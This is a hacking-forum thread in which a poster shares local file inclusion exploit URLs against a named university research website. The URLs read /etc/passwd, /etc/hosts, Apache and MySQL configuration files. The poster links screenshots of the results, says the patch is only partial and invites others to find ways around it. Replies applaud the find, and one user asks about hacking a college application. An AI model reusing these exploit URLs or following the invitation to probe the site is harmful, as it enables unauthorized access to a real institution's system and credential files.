

Forum:[Hack Forums](#)

Thread: [\[LFI\] CalTECH - California Institute of Technology \[LFI\]](#)

Hooded Robin - January 3, 2012, 3:08 pm

This is the third one I have found in there site in a month, but alas I felt bad since it is such respected EDU so I reported and they have been patched. I just did a check recently and the patches only seem to be partially applied so feel free to check around for more holes or a way to break the current quick patch they have in place - open basedir restriction is now a problem and prevents as much traversal as previously available when I found it. I took a few screenshots while I was working things for proof so thought I would share them now that things are fixed (sort of):

<http://hep.caltech.edu/cms/i.php?p=/etc/passwd>

[img]http://img828.imageshack.us/img828/8910/85168244.png[/img]

<http://hep.caltech.edu/cms/i.php?p=/etc/hosts>

[img]http://img847.imageshack.us/img847/4316/50673732.png[/img]

<http://hep.caltech.edu/cms/i.php?p=/etc/httpd/conf/httpd.conf>

[img]http://img853.imageshack.us/img853/179/22208286.png[/img]

<http://hep.caltech.edu/cms/i.php?p=/etc/my.cnf>

[img]http://img638.imageshack.us/img638/8518/19401667.png[/img]

PS - they did not even respond to my mails and just poorly patched so I am sharing here for your enjoyment ?

VipVince - January 3, 2012, 3:18 pm

The biggest organisations alot of the times have the most common flaws. GJ!

HaloSparton - January 3, 2012, 9:51 pm

I wonder if you can hack my college APP acceptance?

Pillows - January 3, 2012, 10:14 pm

(Jan 3, 2012 10:51 PM)HaloSparton Wrote: [\[CITE\]](#) I wonder if you can hack my college APP acceptance?

What do we look like your slaves? And besides thats not something we can do with just LFI. I'm pretty sure applications are handled manually.

legend_x - April 18, 2014, 12:45 pm

You did what you are supposed to do as a good white hat you represent. But since they didnt listen, not your fault. Good work